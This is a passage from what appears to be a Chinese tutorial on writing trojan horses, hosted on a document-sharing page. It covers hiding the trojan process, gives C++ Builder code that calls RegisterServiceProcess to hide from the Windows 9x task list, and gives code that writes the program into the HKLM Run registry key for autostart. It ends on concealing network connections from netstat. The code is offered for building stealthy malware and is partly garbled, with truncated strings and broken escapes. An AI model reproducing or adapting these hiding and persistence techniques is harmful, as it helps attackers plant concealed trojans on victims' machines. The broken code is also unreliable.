当前位置:首页 > 木马编写教程学习木马编写的好资料
一定会产生一个进程吗?的确,所以我们可以不把他做成一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底隐藏的效果,这样的结果,导致了查杀黑客程序难度的增加。
出于安全考虑,我只给出一种通过注册服务程序,实现进程伪隐藏的方法,对于更复杂,高级的隐藏方法,比如远程线程插入其他进程的方法,请参阅ShotGun的文章《NT系统下木马进程的隐藏与检测》。
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) {
try {
DWORD dwVersion = GetVersion(); //取得Windows的版本号 if (dwVersion >= 0x80000000) // Windows 9x隐藏任务列表 {
int (CALLBACK *rsp)(DWORD,DWORD);
HINSTANCE dll=LoadLibrary(\ //装入KERNEL32.DLL
rsp=(int(CALLBACK
*)(DWORD,DWORD))GetProcAddress(dll,\ //找到RegisterServiceProcess的入口 rsp(NULL,1); //注册服务 FreeLibrary(dll); //释放DLL模块 } }
catch (Exception &exception) //处理异常事件 { //处理异常事件 } return 0; }
3、程序的自加载运行技术
让程序自运行的方法比较多,除了最常见的方法:加载程序到启动组,写程序启动路径到注册表的HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersions\\\\Run的方法外,还有很多其他的办法,据yagami讲,还有几十种方法之多,比如可以修改Boot.ini,或者通过注册表里的输入法键值直接挂接启动,通过修改Explorer.exe启动参数等等的方法,真的可以说是防不胜防,下面展示一段通过修改HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersions\\\\Run键值来实现自启动的程序:
自装载部分:
HKEY hkey;
AnsiString NewProgramName=AnsiString(sys)+AnsiString(%unsigned long k;
k=REG_OPENED_EXISTING_KEY;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
\0L, NULL,
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE, NULL, &hkey,&k); RegSetValueEx(hkey, \0, REG_SZ,
NewProgramName.c_str(), NewProgramName.Length()); RegCloseKey(hkey); if (int(ShellExecute(Handle, \
NewProgramName.c_str(), NULL, NULL,
SW_HIDE))>32) {
WantClose=true;
Close(); } else {
HKEY hkey; unsigned long k;
k=REG_OPENED_EXISTING_KEY;
long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE,
\0, NULL,
REG_OPTION_NON_VOLATILE, KEY_SET_VALUE,NULL, &hkey,&k); RegSetValueEx(hkey, \0, REG_SZ,
ProgramName.c_str(), ProgramName.Length()); int num=0; char str[20];
DWORD lth=20; DWORD type; char strv[255]; DWORD vl=254; DWORD Suc; do{
Suc=RegEnumValue(HKEY_LOCAL_MACHINE, (DWORD)num,str, NULL, &type, strv,&vl);
if (strcmp(str,\{
DeleteFile(AnsiString(strv));
RegDeleteValue(HKEY_LOCAL_MACHINE,\ break; }
}while(Suc== ERROR_SUCCESS); RegCloseKey(hkey); }
自装载程序的卸载代码: int num; char str2[20]; DWORD lth=20; DWORD type; char strv[255]; DWORD vl=254; DWORD Suc; do{
Suc=RegEnumValue(HKEY_LOCAL_MACHINE, (DWORD)num, str, NULL, &type, strv, &vl);
if (strcmp(str,\{
DeleteFile(AnsiString(strv));
RegDeleteValue(HKEY_LOCAL_MACHINE,\ break;
}
}while(Suc== ERROR_SUCCESS)
HKEY hkey; unsigned long k;
k=REG_OPENED_EXISTING_KEY;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
\0, NULL,
REG_OPTION_NON_VOLATILE, KEY_SET_VALUE,NULL, &hkey, &k); do{
Suc=RegEnumValue(hkey,(DWORD)num,str, if (strcmp(str,\{
DeleteFile(AnsiString(strv));
RegDeleteValue(HKEY_LOCAL_MACHINE,\ break; }
}while(Suc== ERROR_SUCCESS) RegCloseKey(hkey);
其中自装载部分使用C++ Builder可以这样写,会比较简化:
TRegistry & regKey = *new TRegistry(); regKey.RootKey=HKEY_LOCAL_MACHINE;
regKey.OpenKey(\ersion\\\\\\\\Run\if(!regKey.ValueExists(\{
regKey.WriteString(\
\}
regKey.CloseKey(); delete ®Key;
4、木马程序的建立连接的隐藏
木马程序的数据传递方法有很多种,其中最常见的要属TCP,UDP传输数据的方法了,通常是利用Winsock与目标机的指定端口建立起连接,使用send和recv等API进行数据的传递,但是由于这种方法的隐蔽性比较差,往往容易被一些工具软件查看到,最简单的,比如在命令行状态下使用netstat命令,就可以查看到当前的活动TCP,UDP连接。
共分享92篇相关文档